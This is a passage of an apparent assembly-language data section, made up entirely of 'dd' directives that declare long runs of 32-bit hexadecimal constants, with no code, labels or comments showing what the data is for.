		dd 0BD02B3FEh, 66D903F8h, 0F490A21Eh, 7AC8A5B4h, 0F977E100h
		dd 0FEA1CBh, 102166E0h,	61B02963h, 601DCA4h, 1D9FB4D9h
		dd 0B2D4749Bh, 79AE61BEh, 8900CA2h, 84831FE3h, 75853A65h
		dd 4730A0B4h, 68701150h, 31BE411Dh, 0B1F418B5h,	0E28069BFh
		dd 0BA325181h, 167974A2h, 41CF9630h, 1FFF8608h,	40FB068Dh
		dd 1A03A245h, 0E600190Fh, 8ADD7781h, 0E5F3F39h,	7B383C9h
		dd 898412Ah, 20011BC0h,	0C5F409F3h, 6FA07180h, 0C2ED09Dh
		dd 1E3A5200h, 2BB40288h, 392B8E4h, 0EDE3C0BAh, 0E1006F90h
		dd 7E75C9E8h, 0E835F1Ah, 4B2E24D8h, 520E26E1h, 72D44834h
		dd 0BAF993E5h, 0D700FE13h, 52692CE2h, 490801A7h, 9B7E95AEh
		dd 7299F409h, 4231BD60h, 0AA101Eh, 0A964BC49h, 72F2285Eh
		dd 35B11A00h, 70B30B1Dh, 3A5F01E8h, 0FCDEBECBh,	782290h
		dd 523EA25h, 0E75D07Ah,	1BF17B98h, 0DF5AD4E2h, 0FCA4D442h
		dd 0B3CC8270h, 66637C2Ah, 0F7D3D0C4h, 3EF300DDh, 4C5F68F4h
		dd 2924BF83h, 0B28ACCB9h, 0A8205828h, 0B5B044h,	53CD4C12h
		dd 6228CE51h, 8561D701h
		dd 0FF0EDADDh, 0D5008823h, 3A41A0FEh, 5A00D7B7h, 4D627FD6h
		dd 1942B39h, 9DA1D9FFh,	5280CC99h, 1F27B690h, 0FC9F34A1h
		dd 0A2250C0h, 24E75489h, 44A284BCh, 2DFC8031h, 0FF80B86Eh
		dd 1F0EE237h, 81EF3EF8h, 0CCBDB2DDh, 0A15087DEh, 0AD30A25Dh
		dd 917935CEh, 448028C0h, 8A7836BFh, 9515F6Fh, 724071Dh
		dd 7A0E46C1h, 0A4EEC4h,	0A070E3D7h, 0E83124F1h,	0E018CE51h
		dd 0F03C966Bh, 0E0497422h, 73270068h, 0AC124D0Dh, 12A79FCh
		dd 89C42F77h, 0C46891E6h, 91C454CBh, 0A48833A0h, 149030F8h
		dd 0A29B2268h, 0BAB2FF0Ch, 50B021B1h, 6995C5Ch,	91FE84DAh
		dd 3D004976h, 3179AFCFh, 0A64358h, 982ABDE1h, 56AE66D7h
		dd 7D985FF0h, 51B57230h, 0EEE6A514h, 0FB950047h, 27DAE7D8h
		dd 0FF010250h, 0E4374236h, 6FDCC98h, 20BED442h,	0DA935C0Bh
		dd 1A33E80Eh, 6A04C7ECh, 80EBCFD3h, 0C7D67EA1h,	0C007DFD1h
		dd 984E4097h, 21FFB303h, 0B8C182BAh, 7A490991h,	0FE833FE6h
		dd 94CDAACh, 0B8019D77h, 27E22Fh, 4C3B2C8Eh, 282890B1h
		dd 9A84488h, 4DF3A400h,	0D498C533h, 0A724042Fh,	0C2FBB399h
		dd 9622C364h, 9CC90CEh,	70A400ECh, 233D595Dh, 0B601C594h
		dd 8C5522CCh, 2C6098DFh, 3B748429h, 13764188h, 30823FE0h
		dd 0DB21C7E4h, 1400FCA6h, 24738979h, 0ABD6C6h, 0A26B763Dh
		dd 0ED2A161h, 508C9D4Ch, 9988C338h, 0A9BF6049h,	11A5375Eh
		dd 3D1D0500h, 0B4E2B727h, 1D8E196h, 34EA3833h, 1161DE09h
		dd 30000009h, 2B89BA9Bh, 0AC729F18h, 0E18449h, 7C537150h
		dd 0FD46F078h, 91DAEA0Ch, 505A9F1h, 0AA277238h,	5534C0C1h
		dd 6B0CC892h, 0A0DAC614h, 379088B7h, 0E0D7F1CFh, 2C127AA2h
		dd 0FBC99ACh, 0B4D4D2B2h, 0F580D488h, 72C4F003h, 2577624h
		dd 0DCDAC19Bh, 1C8A67ACh, 39FB194Fh, 0C8B513CDh, 3B6FE1h
		dd 0B1EAA7D2h, 73161A32h, 0AB914404h, 9C80D469h, 90A06352h
		dd 0E9CAA08h, 0B6064484h, 0D7805881h, 68406040h, 0E44C7509h
		dd 2FDC0399h, 0CB7BB019h, 8344E059h, 0A04B0FF1h, 96DA70h
		dd 57ECF631h, 3C11254Eh, 0FD8C4951h, 0CCB091F2h, 0EEB87402h
		dd 0C0DD7BA6h, 5C1D4D23h, 0DC00B304h, 13D5591Ch, 6905A3E1h
		dd 0A8B0B9BAh, 0B665FC30h, 9AE20049h, 42BE1BE9h, 0C64CD7A5h
		dd 0A2EBA0DCh, 77671C9Ch, 0AA6EC496h, 917383CCh, 98B95022h
		dd 3A0E0B80h, 47D24h, 207622C8h, 0AE41CFB3h, 4D86F803h
		dd 0C0804B17h, 2C32CC0Bh, 0A8ACADAFh, 0B0BD449Ch, 0B024B758h
		dd 3DC82Fh, 0DFA793Fh, 532CA8DBh, 0B0508820h, 88DDF05Ch
		dd 5F333149h, 0E2AE0809h, 0B0F440F9h, 2C8F5060h, 0E930886Fh
		dd 99F58100h, 9B72EFF7h, 3EA7970h, 0B2A6DC73h, 9977E2D3h
		dd 0E9802506h, 9069322Bh, 8AF17294h, 241FFCC0h,	3E2C4B7Ch
		dd 300800FEh, 8F94A9A0h, 642079A4h, 0C160567h, 48AA9D04h
		dd 0E8D65111h, 0E9721F68h, 803DE12Ch, 98071044h, 518F6AD2h
		dd 0DC209CC3h, 0E9AB4023h, 8638334Ch, 1CE9B6F4h, 80C82EBDh
		dd 8F930304h, 1658DDDAh, 1F7522F0h, 82F15B59h, 0D5EC2645h
		dd 7E034240h, 80386B5Ch, 30FC3C9Ch, 0FF010034h,	0A40B36D6h
		dd 8A483FE3h, 52130208h, 829DF828h, 10ADB788h, 1B3EC9A5h
		dd 3F38540Eh, 0EEF57300h, 33A48544h, 300B739Dh,	0BB213A91h
		dd 0B6B0F42Eh, 0DA21D8A0h, 0A80F091h, 78E2B3Ah,	0EFF8046Bh
		dd 0C15E7588h, 1082E7DCh, 0B2DE6641h, 4CC08194h, 2829A011h
		dd 403888DCh, 9B0969E4h, 0B19FCC00h, 30F925D9h,	4CA40098h
		dd 0C6BA36E2h, 374CC065h, 0E1FAC018h, 0F7264Dh,	0B77183EDh
		dd 0D2DBE620h, 693EA502h, 0C1864594h, 28623FB6h, 0E1DCF049h
		dd 24100E9Ah, 2C323654h, 90301411h, 98848AC1h, 0D29646BFh
		dd 0C97031h, 0AA17DD9Ah, 99CF90ADh, 9EE21C16h, 80B0A408h
		dd 8270CD85h, 0BF03DBF5h, 37DDEDA2h, 0F9879024h, 3971C048h
		dd 0C3177B07h, 90C0386Bh, 4A6928h, 85D7C57Dh, 2B23FDD1h
		dd 4DBF300h, 0B7581F8Fh, 59DF091Bh, 2C935DB0h, 148022h
		dd 179C32F1h, 5B2B603Ah, 0DB9DA01Eh, 20BE9E40h,	95EA4Ch
		dd 0E90EA2AEh, 0CCD10935h, 8127BB3Ch, 0C0966356h, 0E02291EBh
		dd 0AF5A5071h, 0C2600045h, 0C425194Dh, 8BF478CDh, 10CA9026h
		dd 32EF1D00h, 5EEA20Bh,	0AA22E4B2h, 9AB42096h, 45002C65h
		dd 0A63AC7D5h, 0C52A240Ch, 8B9B870h, 239FB360h,	0A7985082h
		dd 0C40CE1E1h, 87840315h, 21C317F3h, 0A56D5FC0h, 0CE140CB8h
		dd 8EF0A733h, 0E304912Fh, 0A8EE90h, 0EF841AAh, 12F20359h
		dd 0DDD5379Dh, 0F3EBAD8h, 4013E11Eh, 7970A780h,	9C820FEh
		dd 0D998EC2Ch, 831B9018h, 445C7200h, 0DF3254F9h, 74313F4h
		dd 0A07830FEh, 1D005C3Dh, 512C1A49h, 200325h, 0E30EE6DBh
		dd 0DE297011h, 0C8D34C90h, 0CC909812h, 91EFF1A5h, 207213B4h
		dd 0B71B9B7Ch, 0FF0D2D00h, 745346E0h, 60A00C95h, 0E3B198EFh
		dd 0A5A94E09h, 1DDC415Fh, 37FC58D1h, 9BFCF012h,	1CAC0038h
		dd 0EA13A9E5h, 0EA4193Bh, 0A0DCD3C8h, 962721A0h, 6F1C0D7h
		dd 0A2BE2F79h, 53FF1C00h, 95CCAB13h, 2208B0F9h,	0F42C2A3Ah
		dd 864058B2h, 1D282C87h, 8F7A323Bh, 6642F76Ch, 2053FB7Dh
		dd 2541A088h, 46D8F010h, 0E0C63C50h, 6D648F00h,	8A0CD531h
		dd 9BFA008Dh, 305ABC55h, 29022A99h, 0B0909AD7h,	0F2C8B52h
		dd 41C2E8F4h, 5A8EE2Ch,	4074C8h, 2229F5BDh, 0C6122138h
		dd 230B5200h, 0ECCB3585h, 0A45501A6h, 32CE09A9h, 0B94723Dh
		dd 7FF52Eh, 0F378C6D0h,	69E16096h, 8CCC1D1h, 80495E0Fh
		dd 0AE11E0ADh, 9B8D08Eh, 2AD60690h, 0BA991023h,	4733FCC8h
		dd 477D974h, 98FFF809h,	0DCC80C2h, 0B078B7CAh, 0F33F1293h
		dd 0FF7002AAh, 0CC98BEE9h, 920063C4h, 0DE148C75h, 0BF0CE58h
		dd 3AD50AD9h, 0A898E812h, 701C24ACh, 66008CF8h,	34CEB50Eh
		dd 1248964Ah, 5134206Bh, 7F0E753Bh, 0BB42D702h,	7061B0B1h
		dd 0D4BA0EB8h, 0F7C5B59Dh, 2FB4091Bh, 59000016h, 48612DE1h
		dd 139377h, 8E2717FFh, 0F75607ADh, 0C209E4Eh, 39BF81FDh
		dd 0C70096E9h, 4F5F32C1h, 4A14A712h, 10C0DA65h,	2C855337h
		dd 0E858CD07h, 4DF6F4E7h, 84FF243Ch, 0B19D0E3Dh, 0CC003CA3h
		dd 4B0133F4h, 6600B0E7h, 0A2FCFDE8h, 4957A1Ah, 92A9C4E1h
		dd 2CA26Bh, 0CD5A0FC0h,	1B815D1h, 2B29F16h, 886C36E3h
		dd 833A3890h, 0CFD70ED9h, 95083900h, 3D0992C5h,	451900C2h
		dd 0C73E47FBh, 8E3E0E71h, 0C0884CECh, 7446B0A7h, 29F2000Dh
		dd 143E1BFCh, 0F0B9D7A5h, 498AA601h, 24C423D5h,	6FD89F0Eh
		dd 997D4716h, 276F8600h, 9935E1A6h, 8737907Ch, 2D820A07h
		dd 0CED091E6h, 7DDB6D10h, 47E5F100h, 655B162Ah,	0A73D0040h
		dd 6256BDC5h, 0D4ECC20h, 6580E034h, 0E87DCA79h,	0AEA40075h
		dd 0D8D05A9Eh, 394B98D4h, 44674071h, 394EB001h,	402026A8h
		dd 1F0A8D61h, 3F8F96C0h, 0BE00E959h, 0D3CB17FBh, 0B13A0D36h
		dd 0B9C500F8h, 6F6209FFh, 0C38B2CC0h, 87813898h, 0DA674DFAh
		dd 410BC4F8h, 699F9131h, 7180BAF4h, 283431FDh, 7A17C810h
		dd 0F80D79D5h, 2C4729BEh, 459F48h, 0B0271D06h, 19C6AC53h
		dd 0EE215290h, 0F0711E20h, 12C09F0Fh, 0CECC3039h, 29D68435h
		dd 0A6AD0030h, 6E6000D4h, 2901523Eh, 93046A83h,	0E6A1D8D3h
		dd 0A3EA2481h, 394BEFF0h, 0ACA8DCD9h, 0CE8E44D8h, 59983F32h
		dd 0C0D9D9h, 0AFE74F06h
		dd 471E0B16h, 79C1E957h, 9921C7FFh, 909814E4h, 30D04E94h
		dd 0DEA99CECh, 0DC93B300h, 4C8F6228h, 30EF474h,	6AF5123Bh
		dd 0A5ECB2FFh, 2DA097A0h, 34C08C24h, 24F19885h,	50F8188h
		dd 703ACECBh, 0ABB087Ch, 0B400D87Ah, 1D07EEE6h,	0B6535ECh
		dd 91DA8AE7h, 7494A410h, 4BC99F00h, 0B85B225Dh,	0A555186Fh
		dd 81A46805h, 0F2407096h, 7584DF0h, 9834663Ch, 0C7441042h
		dd 0AE4C63D9h, 8E670550h, 74809045h, 408D4998h,	62FDA6DAh
		dd 0CC00792Ch, 0AB2B703Dh, 773C6069h, 7BF1F093h, 0E18C0167h
		dd 9025B75Dh, 24F82943h, 9068A836h, 0A507AE11h,	413D9CB7h
		dd 688E31D6h, 2BE90C20h, 0EFF3136h, 0A4137237h,	20E6723h
		dd 0E82EA80Fh, 526B402Bh, 7DCB924Ah, 319F0BFCh,	0AC6CB9D3h
		dd 18105800h, 2F8D8B1Fh, 0D898086Fh, 0AA80E091h, 0B1A0371Ch
		dd 203F2E08h, 4FFA0011h, 61AFC5Ah, 5B012679h, 0DF98B885h
		dd 0C42255B0h, 0F2F52100h, 86CC99E2h, 0F3137EF8h, 0E020D676h
		dd 1AEAFAAh, 98778C07h,	0FC6D4C6Eh, 1609BD68h, 0AAD9CFCh
		dd 0B9081810h, 566781A9h, 42C7AFCCh, 0CC792EC0h, 0E6BBEA00h
		dd 484B68D4h, 0A7003EE9h, 27366AD8h, 234C7BDCh,	0B4204EACh
		dd 1CD6AEh, 61716F83h, 0D5D211Fh, 1D192203h, 0C8BA4438h
		dd 90E3F846h, 0CEFE17FCh, 0A064903Bh, 0C0A4DC2Eh, 0A5C49802h
		dd 8238F5E9h, 0D97BB054h, 2F310208h, 0E442A018h, 2F7C1C0Ah
		dd 8FF441Ch, 362205CCh,	8C640199h, 1D48461Ch, 0E86700E2h
		dd 0EC80B2E7h, 3149130Eh, 0DD2CC8A6h, 7D976900h, 0BC70841Ch
		dd 79B81329h, 150800D2h, 96C7BEBDh, 5EB22C4Ch, 70D81810h
		dd 133D70C0h, 0C5E8A5Ch, 3CB6FF58h, 99C90CD0h, 37C81190h
		dd 252ED1D4h, 46E37E87h, 404A66B8h, 0DA1CEB00h,	8325842Dh
		dd 0C939EAE9h, 452F499h, 0EE5BA800h, 0B15026A7h, 43BD0028h
		dd 0E536A082h, 3800FFB5h, 60AB66A3h, 0B654B08Bh, 98C6AB0h
		dd 98444C02h, 0B0004E71h, 0B3B4C028h, 6BBBD1h, 0CAE94471h
		dd 2253968Eh, 0D7A03917h, 0A5FA4890h, 0EB7A0E7h, 167C13C9h
		dd 0B26802DEh, 0E496A8D2h, 2EDA2401h, 0D3F2C68Ch, 29F3C0DFh
		dd 0F8914CE5h, 71BEFC17h, 0E8EA8750h, 7C00D772h, 81CCCE08h
		dd 6FC23A5h, 26719A39h,	0F42C606Bh, 0AE00453h, 0F93CA4Bh
		dd 0B04CE674h, 0B2F59C20h, 8C9ED0BDh, 0E4279612h, 1B745A0h
		dd 675D3BA7h, 6F5E5480h, 0F01650ABh, 387C9C31h,	0A203DCA6h
		dd 975D26F9h, 20858B78h, 0A50E30E3h, 0D5033BE4h, 5098E07Bh
		dd 0AD0F7603h, 0A7E7745Dh, 0DC0637Eh, 48885213h, 260F14F3h
		dd 3562A491h, 6849AFFEh, 0E427D22Ch, 0CB994731h, 0C400A873h
		dd 241C41BBh, 22352E5Eh, 0DC16498Ah, 49B0341Dh,	0E47D2945h
		dd 0EE3700DAh, 0FF7CF8B2h, 190C9B39h, 290835D5h, 88A6D9h
		dd 565FBAF1h, 0AF9FA677h, 87F6FF00h, 0A0A70EC3h, 29DE6232h
		dd 30C29BFCh, 0EC0E0851h, 0FB8F00ADh, 78C622h, 0C01C3312h
		dd 91A1E4A8h, 48E97503h, 0C3733887h, 618831CBh,	88AE0EB0h
		dd 96E036F9h, 37CC8FFh,	8A38E70Fh, 98FE6201h, 64D86091h
		dd 49540219h, 271120E2h, 0FBEB48C0h, 0D2FAD8A1h, 64D70902h
		dd 498900D4h, 0AA2E529Eh, 3738EB90h, 727B00F9h,	0BFE39341h
		dd 302916DAh, 32F005CCh, 0E2C8DDB8h, 0B11D60DDh, 7EB200A6h
		dd 0CB6BEC36h, 0D80065E3h, 0D2B3D12h, 9091635Fh, 3AB62010h
		dd 0AE20B210h, 2E3FF181h, 50A87C26h, 0D940C304h, 935E014Fh
		dd 63CA8DB0h, 0F9E464D2h, 1540589Ch, 16443FC8h,	13E1FCAh
		dd 0E0780A27h, 0D300244Ah, 35313CB0h, 3AA03136h, 0D891B038h
		dd 92280724h, 1454B4D7h, 0ACD0DC39h, 0E5067CB6h, 5EC03038h
		dd 3A407156h, 9A27C047h, 709C7CBCh, 5CDE3400h, 0DA9F82h
		dd 4220702h, 37C0789Ah,	5F5EB07Dh, 2FBDB422h, 0F417E20h
		dd 0B700F7CDh, 647DBF2Ah, 0E0C40369h, 0F38B02B3h, 0D50780C6h
		dd 0DA12FC79h, 4B945430h, 6EEAAFh, 0E88619CDh, 261FFC1Dh
		dd 0B0E5FB05h, 3C1DC460h, 0CC209117h, 2B7836h, 0B569F767h
		dd 0CCC42AB1h, 98044F0Bh, 0E4B80BD2h, 0D7E400A4h, 6B3A8D7Dh
		dd 33005DBFh, 84B444B1h, 4A991DE9h, 249C30DAh, 0E2782ABDh
		dd 0E8459490h, 0C0077472h, 53EDD8F6h, 0E7E8277Fh, 0CD00AED6h
		dd 0E3F98EBBh, 5A03BA36h, 3BB00864h, 3DE83180h,	12C1214Dh
		dd 172FE5E2h, 5348C870h, 0D501048Ch, 0BAE283Fh,	52500941h
		dd 0A0990730h, 3336EF58h, 91C20F0Eh, 4A0078C6h,	290AC004h
		dd 3D71254h, 0C0B754Fh,	2DC848F5h, 7D9072E5h, 0F83A28B0h
		dd 225853ABh, 978D00E1h, 0EFFBB834h, 81587462h,	1A9E0090h
		dd 24BFC0BEh, 0B0C90A5Dh, 305CB652h, 0BAB29098h, 0E0000B9h
		dd 309F01E4h, 900496BCh, 480B9334h, 0BC1C4417h,	4A898020h
		dd 0F95DFB60h, 0E131100h, 0B21C6B2Ch, 0BEBC0110h, 213A683Bh
		dd 1B245254h, 883E602Ch, 8C0529D9h, 0F60E9B6Dh,	21AE4CC2h
		dd 3C33CE09h, 557CC734h, 20D872Fh, 981B017Eh, 786867CCh
		dd 4F31358Fh, 0FCE5FC20h, 88C50066h, 0AE4E12A8h, 0C300BF4Fh
		dd 34E25F8Ah, 247DDE07h, 6020C0F5h, 9BD9803Dh, 5100BF76h
		dd 6F30B2FEh, 2ECEE24Bh, 4F341B25h, 0CCB21671h,	1061C432h
		dd 8B0A8521h, 78CA34E1h, 0CC82AC24h, 411DD20Ah,	0A2B0664h
		dd 41B4C2F4h, 3AA1E6BEh, 0F2D58820h, 0FA22129Bh, 96D8F69Ch
		dd 6954340Fh, 0C8E4585Dh, 90A57678h, 37F1D5Ch, 7AFD473Eh
		dd 0F4E1966Dh, 0F8412B9Ch, 0B7D669CDh, 9477C510h, 8985961Eh
		dd 0E5F5EA87h, 91B50972h, 0C016A8E4h, 1A534B9h,	0B3EFB2B8h
		dd 8C00912h, 0FC010EDAh, 0CEB5C536h, 50424C32h,	1F9721A8h
		dd 5EC13E46h, 2872F010h, 49DEEA18h, 8A4C3149h, 0F6BE2208h
		dd 0B8A25857h, 0D8997314h, 51AF2818h, 381F8037h, 2C40CC31h
		dd 265F0E9Fh, 97E0A00Ah, 6B218071h, 0C43CC948h,	64403A35h
		dd 10E2E179h, 0BBE90E09h, 0F3CC472h, 2E63143Ch,	0DC5FB000h
		dd 0D90D21ADh, 99FBE9A3h, 55A12887h, 20D1A97Ah,	0B2C23E9Dh
		dd 919738CEh, 6210BF80h, 1000D6EDh, 0C47AF8BEh,	0EC0CAA79h
		dd 757701Bh, 904D275Ch,	0E411DBC8h, 2CCE1129h, 134520D2h
		dd 0A006BBF6h, 0A637F8B1h, 4BA4DF0h, 6A0FF987h,	0E91E0588h
		dd 67240191h, 0FCE5E0B1h, 80A1A112h, 28282A34h,	0EC32006Fh
		dd 24027BEBh, 8061109Eh, 99696C1Ah, 5CB860h, 0FF9D3518h
		dd 0F4AE8F31h, 4C81C960h, 1D30A2AFh, 80BDEE2Ch,	56D5DD34h
		dd 9DFCE84Ah, 0E0B17A28h, 89E02CBEh, 10136E2h, 74DD72A1h
		dd 4555FD02h, 82BC81B0h, 0B9E85090h, 0BA05851Eh, 362BAF57h
		dd 0EEB064C3h, 0A8DF5851h, 6A889001h, 419E44DAh, 42E73294h
		dd 6820C538h, 18044C0Bh, 0D4F53EE1h, 7005F94h, 9B774BC5h
		dd 19A4939Fh, 0B1D0901Dh, 63F88541h, 0B8C33969h, 0B8917CB0h
		dd 9F490A78h, 0C06C0F32h, 0EFEC07D3h, 0A524BB00h, 0BF1F8DC0h
		dd 0C63B0C49h, 2D384EA0h, 27E4C444h, 34B8C990h,	510082D6h
		dd 0BE7F3F3Ah, 90E767Bh, 16642DF9h, 9687080h, 3D0B5C9Bh
		dd 44F324FCh, 13CA0CBCh, 1A0E7D49h, 74C8EAF9h, 0BA252C07h
		dd 0A1444002h, 0F466B80Eh, 0F31D1794h, 9AD83003h, 0DE008379h
		dd 0DB9B01A1h, 7B84FFAh, 8228807Fh, 8BA33184h, 2183ECF1h
		dd 0FC90C8B8h, 472EA701h, 0F9B6FE6Dh, 88675020h, 23FC714Fh
		dd 1482440Ch, 1D2B087Fh, 0C0394B22h, 0F3153806h, 18CF461Ah
		dd 320C0023h, 76D7945h
		dd 64F9F0B8h, 154F6143h, 8B499F35h, 0ACE96803h,	40511E22h
		dd 8040776Dh, 0C312818Eh, 22119C60h, 13CB4324h,	8D8B7Fh
		dd 0FE5D7DEFh, 38308CD8h, 0C3B57949h, 0CA3F009Bh, 0B2352476h
		dd 2A009A5Eh, 4288D746h, 0C0E0366h, 3FBB3113h, 0DF005A89h
		dd 0C735306Bh, 0FD3E3Ah, 5547809Fh, 10F25E64h, 0C90C0301h
		dd 238E768Ch, 0C0381BC4h, 0E8959971h, 0EB0086AEh, 0D49C6958h
		dd 3FC9059h, 76D844A7h,	65C19E9Ah, 773970DAh, 604B324Ch
		dd 1B84A3F1h, 7D4A0C8Ch, 139130B4h, 53142670h, 21BC54E5h
		dd 6D1138h, 5A45B7DFh, 11E9C896h, 40C225C7h, 0A713C69Ch
		dd 7069CDCh, 0F018BA5Bh, 0BBDB00D0h, 128B75DFh,	31C086CFh
		dd 0E8C5AC20h, 3AE5003Bh, 434BAF2Dh, 40C64266h,	29BE6Dh
		dd 8F808CBCh, 0BD4B4838h, 715D7600h, 0A4327566h, 4F81C350h
		dd 0B17C3103h, 18A4BE45h, 6D3F0305h, 20002A36h,	0A257A27h
		dd 0ECA935FDh, 0D3C00051h, 158C7B26h, 7F03D976h, 0B8E9AC9Bh
		dd 38491817h, 8EF1514Ch, 0BF0E3998h, 2C6D3551h,	0C0D7A96Ah
		dd 8C811FE0h, 823C61BEh, 1C9192Dh, 6422BB21h, 3F6B5800h
		dd 0FA55D75Bh, 0A799DD00h, 19E3202Ch, 91E4078Dh, 23A64F6h
		dd 84906C43h, 0F7009BA4h, 3D5AFC7Bh, 3FA77904h,	89156468h
		dd 0BF3C9C5Fh, 3EB3E90Ch, 1E038DB9h, 0CC8C86EAh, 0AC809FA0h
		dd 50FD328Ah, 881BEC06h, 0A300B310h, 7F4004D7h,	48BA01E0h
		dd 2C223874h, 33074F14h, 42A584B0h, 0CC98805Ah,	0B600370Eh
		dd 0EC0A97D5h, 63C325CFh, 3222C1F0h, 8CB081DBh,	0B078CB40h
		dd 30479228h, 0C2C0222h, 9B6D4927h, 0F6008939h,	0FF78217Fh
		dd 11047AC8h, 3D4D388Bh, 8700061h, 6414D0DBh, 480D5437h
		dd 356C00EAh, 285D20CCh, 0C8D0558Ch, 0D9F07B34h, 22185448h
		dd 0BF6D3035h, 48573379h, 0D0E4EA00h, 1CFB9D79h, 5D74280Ch
		dd 3640084h, 0B418CB56h, 0DB26994Bh, 923C723Ch,	1C2014B5h
		dd 1E7FDDE9h, 0C039538Dh, 0C475F55Bh, 0E024293Dh, 4160AC23h
		dd 759A1E91h, 38BE0067h, 0FAD51B43h, 23184883h,	49293513h
		dd 5BB1AC5h, 38826ECCh,	0A043A017h, 404315F0h, 9E1D98C0h
		dd 3E6BF418h, 0EE801B8Ch, 33C6CB42h, 4800F543h,	0F44EFFFBh
		dd 0C14A1A83h, 0BF19B8F9h, 801D20A7h, 0B31BFC12h, 3CD2C00h
		dd 0F73DBDC1h, 2045D842h, 278C8FDDh, 0ACB48D26h, 47669F41h
		dd 1F40C670h, 3D32E639h, 122B8787h, 41049C7h, 150AE291h
		dd 0C85C8C4Bh, 48533211h, 0DCE69301h, 0FCC6C374h, 4A13E2E8h
		dd 8D001715h, 668B073Ah, 0E47FDAh, 0BFA805EFh, 0CEA2E96Eh
		dd 0E304A48h, 0A7EB88BEh, 79CC6D42h, 0FEF5004Dh, 966147B4h
		dd 8A003DB9h, 0B8CF7A25h, 0C0836C26h, 38AC0429h, 1CB050D0h
		dd 0C4B4E03Bh, 3D650142h, 4A2263A3h, 0A9573058h, 3AD62B07h
		dd 645A8108h, 741011h, 0DDF33B26h, 896FB32Ah, 0AFFB38h
		dd 4F2DDF40h, 1492D3B0h, 40E07EEAh, 0E336EB00h,	14AE11D9h
		dd 0B81E8E9h, 0A5A84700h, 0C6E8FE22h, 1261C36Ch, 3972B9CBh
		dd 0F6A3EA0Dh, 0D408B86Bh, 4BA44864h, 1EF7713h,	0BBE4C600h
		dd 26842792h, 2024D2A2h, 9D49715h, 193B3F4Fh, 6D114AF8h
		dd 0F9718080h, 946ABE35h, 630906Bh, 0DBA38C54h,	334248B4h
		dd 4C471D11h, 0E22003A0h, 341ADFh, 0EEA6C351h, 0CE132E68h
		dd 8763893Dh, 867F97DCh, 0C1FAE062h, 42EA62C0h,	367C0084h
		dd 1F7E67ABh, 18981A56h, 0B8E11919h, 0F720A007h, 704E102Ch
		dd 20B4E826h, 0E73F459Ch, 7572F4F8h, 1E3A6500h,	0E4064F39h
		dd 1BA9CB3Eh, 615E2C10h, 8999B100h, 663EAE4Ah, 584D2659h
		dd 2B1158h, 0F380E985h,	4865192Dh, 0C429CCFAh, 0DAB82CCh
		dd 0A890B4D4h, 0DC007780h, 6571D309h, 0FD08BAh,	60782433h
		dd 0A0910EF8h, 0AA32DB01h, 2FDFC825h, 204838A6h, 0C5430174h
		dd 7A3E247h, 74AC3011h,	0A1463C07h, 6D50330Dh, 7CA564h
		dd 0E238BC22h, 6C4B06B7h, 81045F07h, 32A029ABh,	0B24805AEh
		dd 8A4F4470h, 0F95E912Eh, 0BC177101h, 27C16405h, 90E68BC4h
		dd 0E2A64014h, 54408641h, 646729ACh, 504618BDh,	134321FCh
		dd 0AEB02038h, 0C978249Dh, 4FFBAB00h, 189F9546h, 41F6022Ah
		dd 8B2365E5h, 20585941h, 0D378E328h, 1C7F9600h,	5138BBFBh
		dd 0C440003Eh, 0C8199BE4h, 0B0B246AFh, 308A3244h, 90F23BDFh
		dd 0F80120CAh, 88D2CEE4h, 0AC2484F3h, 3DBB3064h, 0E242E631h
		dd 3C579E00h, 6874FDFFh, 0CF7E001Bh, 5B9F175Dh,	70016446h
		dd 8B8DBF83h, 4C2135E9h, 32EBA18Eh, 886496h, 0AFE91CB0h
		dd 20BB468Dh, 0BD455081h, 78E8DF81h, 15512EADh,	0A38B42C0h
		dd 58141163h, 31A8879Eh, 0F16D3906h, 0C030472h,	94EB3588h
		dd 209F2820h, 4F248352h, 0E24EEC38h, 0EDA9EA2h,	474483A8h
		dd 836EC21h, 0A0FE88CCh, 37B8F51Ch, 8ABB7B81h, 98DFC1C6h
		dd 0BF7E280h, 0CC196B9Ah, 40BBD011h, 0FBED6660h, 3415A700h
		dd 2AA477C2h, 0BF89846h, 0A92EE7A0h, 49E9548Fh,	1E069C44h
		dd 52A41CC3h, 8B961728h, 0D53420B4h, 0DC0502A0h, 294BF235h
		dd 0EBE78C00h, 80447A14h, 5007D27h, 99FCA6A9h, 9669211h
		dd 6CA31E03h, 29CD7006h, 27794B60h, 2E1B90C4h, 434CD025h
		dd 7178B1E9h, 84203C50h, 4312ED81h, 0ACBDA460h,	4AADCBA0h
		dd 8220653Bh, 8CFAAED1h, 1CE643h, 29A66C1Dh, 0B32CAC30h
		dd 0DEDDB201h, 181476C8h, 0FF2D5180h, 0CC434EBEh, 0B511E200h
		dd 90223F9Bh, 4E0A6B71h, 60798019h, 0C05F9F5h, 28D3EC72h
		dd 0E64CC482h, 8B2D449Ch, 0DA1800B8h, 26C8C8AEh, 220800D7h
		dd 446BA07Ah, 9300455Bh, 9988C0Bh, 96A132E5h, 4164829Ch
		dd 0C0404DEAh, 0C317288Ch, 0FC46270Eh, 39616CCDh, 0AE02DD3Ch
		dd 3D83B1E8h, 78755490h, 817EF73Fh, 2A6061A7h, 0F1801614h
		dd 0B6592177h, 64006C46h, 0ABB7A0FCh, 4A6D585Ah, 0C2CC0032h
		dd 0C745EC2Fh, 49645600h, 5B38209Ch, 0C6B40201h, 0A88103CBh
		dd 0A41844E2h, 0E81D65F8h, 0DA405401h, 5E787C39h, 0A18B1C20h
		dd 0AA0BC012h, 65093331h, 0A0F02262h, 0CD6D0380h, 0D0A7B900h
		dd 0C71D062Fh, 26670050h, 8FB5B707h, 180041D3h,	1A9639E4h
		dd 92113D1Fh, 3D4F068h,	0AD53CA4Eh, 4FA18CDEh, 3FBC2314h
		dd 92ACD41Bh, 0E3583803h, 0A8CC7C37h, 5F5EFF1h,	0AE19E1C3h
		dd 0DCD888A0h, 73672414h, 14221E8h, 138976A3h, 40F18011h
		dd 102F15B8h, 5F3100B0h, 0CDBDE5DEh, 0DA1CF3F4h, 4842B2Ah
		dd 92446A4Ch, 20CC2288h, 7BE8352Fh, 20378C00h, 79A2FE4Eh
		dd 0B2E7059Dh, 6394C5Ah, 980161F0h, 0DAE9640Bh,	19900FE2h
		dd 0EC71399h, 0E0D43F91h, 879F3080h, 0CCE076E4h, 0D7597407h
		dd 0A8225B65h, 0C2C8E028h, 1889C0Eh, 860A8A36h,	17D832B4h
		dd 0FE01A8CBh, 9740BC2Bh, 790BDCh, 0E5E2DE39h, 6D7DB43Ch
		dd 0F143749h, 208575D1h, 0D339055Ah, 0FD20001Ch, 86E7649Bh
